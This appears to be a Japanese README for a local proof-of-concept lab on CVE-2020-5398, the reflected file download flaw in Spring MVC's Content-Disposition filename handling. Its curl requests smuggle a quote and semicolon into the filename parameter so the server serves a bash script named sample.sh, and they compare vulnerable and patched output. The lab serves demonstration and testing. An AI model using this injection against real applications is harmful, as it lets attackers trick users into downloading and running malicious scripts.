
CVE-2020-5398 - Spring MVC 向け RFD(Reflected File Download) 攻撃
Spring Framework の 5.2.x 系で 5.2.3 未満、5.1.x 系で 5.1.13 未満、および 5.0.x 系で 5.0.16 未満のバージョンでは、レスポンスの “Content-Disposition” ヘッダーを設定する際に、その filename 属性がユーザー入力から取得される場合、アプリケーションは reflected file download (RFD) 攻撃に対して脆弱になります。
./gradlew bootrun
127.0.0.1:8080 で待ち受けます。
$ curl 'http://127.0.0.1:8080/?filename=sample&contents=Hello,%20World' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.txt"
Content-Type: application/octet-stream
Content-Length: 12
Date: Fri, 17 Jan 2020 05:41:08 GMT
Hello, World
sample.txt ファイルのダウンロードが始まります。
curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.sh";.txt"
Content-Type: application/octet-stream
Content-Length: 14
Date: Fri, 17 Jan 2020 05:22:18 GMT
#!/bin/bash
id
sample.sh ファイルのダウンロードが始まります。(シェルファイル)
$ curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.sh\";.txt"
Content-Type: application/octet-stream
Content-Length: 14
Date: Fri, 17 Jan 2020 05:24:47 GMT
#!/bin/bash
id
sample.sh";.txt ファイルのダウンロードが始まります。(テキストファイル)